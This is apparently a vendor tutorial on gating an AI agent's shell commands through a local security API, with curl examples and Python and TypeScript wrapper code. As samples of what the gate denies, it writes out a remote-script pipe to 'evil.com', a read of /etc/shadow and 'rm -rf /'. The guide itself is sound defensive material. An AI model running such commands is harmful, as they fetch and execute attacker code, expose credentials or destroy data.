Skip to content
All posts
AI Agent Security

Building Secure AI Agents: A Practical Guide

10 min read

You are building an AI agent. It will run commands, call APIs, read files, and make decisions. You want it to be useful. You also want it to not destroy your infrastructure when it hallucinates or gets prompt-injected.

This is a practical guide. Six steps, working code, and best practices at the end. By the time you finish, your agent will validate every command through Inner Warden before executing it. The integration adds single-digit milliseconds of latency. Your agent barely notices. Your server stays intact.

Step 1: Install Inner Warden

One command. It installs the sensor, agent, and CLI. Systemd service files are created automatically on Linux.

Install
curl -fsSL https://innerwarden.com/install | sudo bash

Then enable the AI agent protection module:

Enable agent protection
innerwarden enable openclaw-protection

The agent starts listening on localhost:3121 by default. The API is localhost-only. No external exposure. If your agent runs on the same machine, it can reach Inner Warden directly.

Step 2: Register your agent

Tell Inner Warden about your agent. This creates a session and enables tracking across requests:

Register via API
curl -X POST http://localhost:3121/api/agent-guard/connect \
  -H "Content-Type: application/json" \
  -d '{
    "agent_id": "my-data-agent",
    "agent_type": "custom",
    "capabilities": ["file_read", "shell_exec", "http_request"]
  }'
Response
{
  "status": "connected",
  "session_id": "sess_a1b2c3d4",
  "agent_id": "my-data-agent",
  "message": "Agent registered. Session tracking active."
}

The capabilities field tells Inner Warden what your agent is allowed to do. If your agent only reads files, do not declare shell_exec. Inner Warden uses this to flag actions that exceed the declared capability set.

Step 3: Validate commands before execution

Before your agent executes any command, POST it to the check-command API. This is the core integration point. Every command goes through this gate.

Check a safe command
curl -X POST http://localhost:3121/api/agent/check-command \
  -H "Content-Type: application/json" \
  -d '{
    "command": "ls -la /var/log/",
    "agent_id": "my-data-agent"
  }'
Response: allowed
{
  "decision": "allow",
  "risk_score": 5,
  "matched_rules": [],
  "message": "Command appears safe"
}

Now try something the agent should not be doing:

Check a dangerous command
curl -X POST http://localhost:3121/api/agent/check-command \
  -H "Content-Type: application/json" \
  -d '{
    "command": "curl http://evil.com/shell.sh | bash",
    "agent_id": "my-data-agent"
  }'
Response: denied
{
  "decision": "deny",
  "risk_score": 100,
  "matched_rules": ["remote-code-execution-pipe"],
  "message": "Blocked: piped remote code execution"
}

Step 4: Check the security context

Before your agent starts a task (or periodically during long-running tasks), check the current security posture. If the server is under active attack, your agent might want to pause non-essential operations:

Query security context
curl http://localhost:3121/api/agent/security-context
Response
{
  "threat_level": "elevated",
  "active_incidents": 3,
  "blocked_ips_24h": 47,
  "recommendation": "Reduce external network calls. SSH brute-force campaign active.",
  "last_updated": "2026-03-29T14:32:00Z"
}

When threat_level is "elevated" or "critical," your agent can switch to a read-only mode or throttle operations. The recommendation field provides a human-readable suggestion. Your agent can use it or ignore it depending on how much autonomy you want.

Step 5: Handle deny/review/allow in your agent code

Here is how to wire it into your agent. The pattern is the same in any language: check the command, read the decision, act accordingly.

Python
import httpx
import subprocess

WARDEN_URL = "http://localhost:3121"
AGENT_ID = "my-data-agent"

def safe_execute(command: str) -> str:
    """Execute a command only if Inner Warden approves it."""

    # Check with Inner Warden first
    resp = httpx.post(
        f"{WARDEN_URL}/api/agent/check-command",
        json={"command": command, "agent_id": AGENT_ID},
    )
    result = resp.json()

    if result["decision"] == "allow":
        # Safe to execute
        return subprocess.check_output(
            command, shell=True, text=True, timeout=30
        )

    if result["decision"] == "review":
        # Held for human approval. Do not execute.
        # Log it and move on to the next task.
        print(f"Command held for review: {command}")
        print(f"Reason: {result['message']}")
        return f"[HELD] {result['message']}"

    if result["decision"] == "deny":
        # Blocked. Do not execute. Do not retry.
        print(f"Command blocked: {command}")
        print(f"Reason: {result['message']}")
        print(f"Rules: {result['matched_rules']}")
        return f"[BLOCKED] {result['message']}"

    return "[ERROR] Unexpected response from Inner Warden"


# Usage in your agent loop
output = safe_execute("ls -la /var/log/")
output = safe_execute("cat /etc/shadow")  # This gets denied
TypeScript
const WARDEN_URL = "http://localhost:3121";
const AGENT_ID = "my-data-agent";

interface CheckResult {
  decision: "allow" | "review" | "deny";
  risk_score: number;
  matched_rules: string[];
  message: string;
}

async function safeExecute(command: string): Promise<string> {
  // Check with Inner Warden first
  const resp = await fetch(
    `${WARDEN_URL}/api/agent/check-command`,
    {
      method: "POST",
      headers: { "Content-Type": "application/json" },
      body: JSON.stringify({ command, agent_id: AGENT_ID }),
    }
  );
  const result: CheckResult = await resp.json();

  switch (result.decision) {
    case "allow":
      // Safe to execute via your preferred exec method
      return execSync(command, { encoding: "utf-8", timeout: 30000 });

    case "review":
      console.log(`Command held for review: ${command}`);
      console.log(`Reason: ${result.message}`);
      return `[HELD] ${result.message}`;

    case "deny":
      console.log(`Command blocked: ${command}`);
      console.log(`Rules: ${result.matched_rules.join(", ")}`);
      return `[BLOCKED] ${result.message}`;
  }
}

// Usage
const output = await safeExecute("ls -la /var/log/");
const blocked = await safeExecute("rm -rf /");  // Denied

The key principle: never execute first and check later. Always check first. If the check fails (network error, timeout), fail closed. Do not execute the command. A missed legitimate action is recoverable. A missed malicious action is not.

Step 6: Set up notifications

When your agent tries something dangerous, you want to know about it immediately. Inner Warden supports Telegram, Slack, and webhook notifications. Configure them in the agent config:

config.toml (notification section)
[telegram]
enabled = true
bot_token = "YOUR_BOT_TOKEN"
chat_id = "YOUR_CHAT_ID"

[slack]
enabled = true
webhook_url = "https://hooks.slack.com/services/YOUR/WEBHOOK/URL"

[webhook]
enabled = true
url = "https://your-app.com/security-events"
secret = "your-signing-secret"

Or use the CLI for quick setup:

Quick notification setup
innerwarden setup telegram
innerwarden setup slack

Every denied command triggers an immediate notification. The alert includes the command, the agent ID, the rule that matched, the risk score, and the session ID. You see exactly what happened, which agent did it, and why it was blocked. No log diving.

Best practices

After setting up the integration, follow these principles to keep your agent secure:

Least privilege

Declare only the capabilities your agent actually needs. If it reads files, do not give it shell_exec. If it makes HTTP requests, do not give it file_write. Inner Warden flags actions that exceed declared capabilities even if the command itself looks safe.

Validate every tool call

Not just shell commands. If your agent calls MCP tools, REST APIs, or database queries, validate the parameters through check-command. The API accepts any string. It does not have to be a shell command. It evaluates the content for dangerous patterns regardless of format.

Never run as root

Your agent should run as a dedicated user with minimal filesystem permissions. If the agent is compromised despite all defenses, running as root means the attacker has full control. Running as a limited user means the damage is contained. Inner Warden itself runs with the minimum privileges needed for its monitoring capabilities.

Use session timeouts

Agent sessions should have a maximum lifetime. Inner Warden's default session timeout is 480 minutes (8 hours) with a maximum of 5 concurrent sessions. If your agent runs continuously, reconnect periodically to reset the session. This limits the window for session-based attacks and keeps the session tracking state bounded.

Fail closed

If Inner Warden is unreachable (process crashed, network error, timeout), do not fall back to executing commands without validation. Fail closed. Log the failure, skip the command, and alert the operator. A missed automation step is annoying. A missed malicious command is a breach.

Review your ATR rules

The 71 default ATR rules cover common attack patterns. But your agent might have legitimate use cases that trigger rules. Review the matched_rules in "review" responses. If a rule false-positives on your agent's normal behavior, you can add exceptions in the ATR YAML files. Do not disable rules globally. Add agent-specific exceptions.

The complete flow

Here is the full lifecycle of a secured agent request:

1Agent receives task from user or scheduler
2Agent checks security context (threat level)
3Agent formulates command based on task
4Agent POSTs command to check-command API
5Inner Warden evaluates: 71 ATR rules, session history, capability check
6aallow: Agent executes the command
6breview: Agent skips command, logs it, moves on
6cdeny: Agent skips command, operator notified instantly
7Agent reports result back to user or scheduler

The entire round trip through Inner Warden takes 1 to 5 milliseconds on localhost. For an agent that executes commands taking seconds or minutes, this overhead is invisible.

What to do next